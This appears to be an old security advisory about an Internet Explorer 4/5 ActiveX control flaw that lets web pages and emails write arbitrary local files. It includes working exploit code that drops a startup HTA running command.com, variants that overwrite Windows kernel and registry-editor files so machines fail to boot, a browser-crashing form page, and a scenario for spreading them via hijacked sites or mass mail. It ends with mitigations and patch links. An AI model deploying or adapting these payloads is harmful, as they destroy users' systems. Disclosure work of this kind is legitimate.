COMMAND
ActiveX
SYSTEMS AFFECTED
Internet Explorer 4 and 5
PROBLEM
Georgi Guninski found following. Internet Explorer 5.0 under
Windows 95/98 and Windows NT) allows executing arbitrary programs
on the local machine by creating and overwriting local files and
putting content in them.
The problem is the ActiveX Control "Object for constructing type
libraries for scriptlets". It allows creating and overwriting
local files, and more putting content in them. There is some
unneeded information in the file, but part of the content may be
chosen. So, an HTML Application file may be created, feeded with
an exploit information and written to the StartUp folder. The
next time the user reboots (which may be forced), the code in the
HTML Application file will be executed. This vulnerability can be
exploited via email. Demonstration is available at:
http://www.nat.bg/~joro/scrtlb.html
The code is:
<object id="scr"
classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"
>
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\windows\\Start Menu\\Programs\\StartUp\\guninski.hta";
scr.Doc="<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert('Written
by Georgi Guninski
http://www.nat.bg/~joro');wsh.Run('c:\\command.com');</"+"SCRIPT>";
scr.write();
</SCRIPT>
</object>
This apparently works on NT 4.0 sp5 and IE 5.00.2014.0216IC as
well.
Ollie Whitehouse and Eric Stevens worked on an idea that allowed
this vulnerability to be executed reliably in default
installations on the following operating systems: Windows NT v4
Terminal Server (SP3) and Windows 98. Russ Cooper (of NT BugTraq)
brought up the problem of the default path entered in to the
exploit would only allow reliable exploitation under Windows 9x.
After an exchange of mails with Eric using one of Russ's theories
to use the %windir% and the %username% variables to exploit user
specific paths it was shown this was not possible (due to the lack
of functionality under JScript). However, it was found that the
default working directory of the src Active X control is the
Windows Desktop of the current user. So to exploit this the
following line of code would need to be changed:
scr.Path="c:..\\Start Menu\\Programs\\StartUp\\thisisnew.hta";
this should allow the reliable exploitation.
If you wanted to run original code against an NT machine then
<object id="scr"
classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"
></object><script>
scr.Reset();
scr.Path="C:\\WINNT\\Profiles\\All Users\\Start
Menu\\Programs\\Startup\\guninski.hta";
scr.Doc="<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert(
'Screw Denise Richards, Debbie Johnson
r0x!');wsh.Run('c:\\command.com');</"+"SCRIPT>";
scr.write();
</script>
For all those arguing about figuring out which user it should be
addressed to, the answer is to "All Users". Now watch as we will
modify this to destroy Regedit 32
<object id="scr"
classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"
></object><script>
scr.Reset();
scr.Path="C:\\WINNT\\System32\\regedt32.exe";
scr.Doc="<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert(
'Screw Denise Richards, Debbie Johnson
r0x!');wsh.Run('c:\\command.com');</"+"SCRIPT>";
scr.write();
</script>
As you can see the simple malicious damage is unprecedented, good
luck trying to figure out what's happened when your computers
crashed, permanently. Now let me give you a simple scenario for a
real-world example. Let's say a Cracker, we'll call him Ahab,
decides to take over ABC or Symantec's web page, not that
difficult to imagine. Without ever breaking the firewall, all he
has to do is modify the web page. Now usually they detect the
obscene message within minutes taking it offline, imagine though
if Ahab just modified the source, he could include in it both
Active X exploits, for NT and 98, in addition he could add to the
source an insturction to change to another web page in 5 seconds,
a page he's added to InetPub. This new page would include the
even more recent exploit that crashes IE5 with a form field
overflow. Imagine how long it would take for anyone to realize
that the web page had been hacked, their computers would freeze
everytime they went there for no apparent reason (the new exploit
doesn't display the page that froze your browser only the page
before). All of those home users, the thousands of hits a day
they'd be getting, would simply connect to the site, get their
system Kernal overwritten and have their browser crashed, forcing
a restart for the home user. Does everyone see the potential
damage here?
Seth Georgion after further research discovered that ntoskrnl is
loaded from the system folder into memory where it is accessed
exclusively, this frees it from the write restriction due to
system use. ANY Windows 98 file can be overwritten. Period. If
you try and manually pasting over or destroying the file you will
be denied, however Active X can help where you can't. In fact,
ironically, after it's been corrupted you cannot fix it because
you are denied from touching it! If Windows 98 is restarted or
crashed (hint, forced to crash), then it will fail start up with a
Fatal Exception, you can only recover from DOS by restoring the
file. For the record, the vast majority of home users who will
never know about the patch to this file or know what Active X
even is are not in possession of 98 install disks. Rather they
are in possession of a disk that restores the computer to factory
original. Assurance that we could just disable Active X is not
enough because that won't happen.
On Windows NT, you can bar write access in NTFS and it cannot be
written to. There is at least one critical system file (possibly
security file) that he would miss and might be overwritten. In
fact the default for the Administrator or one with Administrator
privileges is Full Access. Of course this would allow the exploit
to run. The other thing to remember is that in very small domains
the average user is generally administrator and remember this
exploit can be E-Mailed!!! or mass-mailed! The other thing is
that the default install for NT (especially on HP's) is FAT, which
does not allow specific file security. Anyone know a dual-booter?
Maybe someone who doesn't even know what NTFS is?
The code for the 98 exploit is
<p>
<object id="scr"
classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC" width="14"
height="14"
></object><script>
scr.Reset();
scr.Path="C:\\windows\\system\\Krnl386.exe";
scr.Doc="<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert(
'Screw Denise Richards, Debbie Johnson
r0x!');wsh.Run('c:\\command.com');</"+"SCRIPT>";
scr.write();
</script>
</p>
See how simply that was adapted? Seth polished it not-at-all so
you can see the minimal changes. At this point you would be
automatically transferred to a second web page that would contain
the following code.
<html>
<head>
<title>Self Destruct </title>
</head>
<body>
<form method="POST">
<table>
<tr>
<td width="20%"><input type="text" name="State" size="99999999"
maxlength="99999999" value=""></td>
</tr>
</table>
</form>
</body>
</html>
Recognize that? It's the code to DoS IE5. Most simple users would
restart at this point, never notice a web page change, and lose
their Kernel.
Here's the NT code:
<p>
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"
width="14" height="14">
</object>
<script>
scr.Reset();
scr.Path="C:\\WINNT\\System32\\ntoskrnl.exe";
scr.Doc="<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert(
'Screw Denise Richards, Debbie Johnson
r0x!');wsh.Run('c:\\command.com');</"+"SCRIPT>";
scr.write();
</script>
</p>
Not bad 'huh? This exploit needs to be realized for what it is, a
very dangerous problem. If someone mass-mailed it to your domain
you wouldn't be able to deal with bouncing between three offices
helping EVERY single user.
On the other side Eyedog is a control used by diagnostic software
in Windows. It is marked as "safe for scripting", but should not
be because it allows registry information to be queried and
machine characteristics to be gathered. In addition, one of the
control's methods is vulnerable to a buffer overrun attack. The
patch sets the so-called "kill bit", which prevents it from
loading within IE (found by Shane Hird, Adrian O'Neill and Richard
Smith).
SOLUTION
You can prevent the exploit by changing the default, "Medium"
security setting for the Internet Zone, to "High", or simply
disabling "Script ActiveX controls marked safe for scripting".
As opposed to disabling "Run ActiveX controls or plug-ins" or
disabling scripting completely. Win2000 rc1 build 2072 ie5
doesnt work. ie5.0.2919.800. The patch for this control, released
by Microsoft, scriptlet.typlib, disables it from being scriptable.
Patch:
ftp://ftp.microsoft.com/peropsys/IE/IE-Public/Fixes/usa/Eyedog-fix/
How to set Outlook 2000 such that mail comes in under the
'Restricted Sites' zone. Here's how:
select Tools menu, Options item
select security tab
The area you want is in the middle of the page in the section
marked 'Secure Content'. Default setting is 'Internet', which
isn't too bad, but 'Restricted Sites' is better. One good reason
for this is that most people don't have any sites in 'Restricted
Sites' list, so anything you set in that zone won't screw up your
normal web browsing. Another good reason is that the default
security settings are better for this zone. Even with the 'High
Security' settings, tweak the following:
- Script ActiveX Controls Marked Safe for Scripting
ActiveX seems to be disabled in other places, but go ahead and
set this to prompt or disable just in case there is some
exception we are not aware of.
- Microsoft VM Java Permissions
The sandbox is set to high, but given that every Java VM out
there has had a breach or another, and you don't know when the
next will show up, I disable this. Who needs dancing bunnies
in their e-mail anyway?
- Scripting, Active Scripting
Set this to disable.
After Microsoft released a Security Bulletin - MS99-037 - which,
finally, seems to have echoed Georgi Guninski's long heard
cry..."Disable Active Scripting"..., the Microsoft Security
Bulletin states: "Customers can immediately protect themselves
against this vulnerability by disabling Active Scripting in IE
5, as discussed in the FAQ." Security Bulletin MS99-036:
http://www.microsoft.com/security/bulletins/MS99-037.asp
http://www.microsoft.com/security/bulletins/MS99-037faq.asp
Bulletin applies to Microsoft Internet Explorer 5.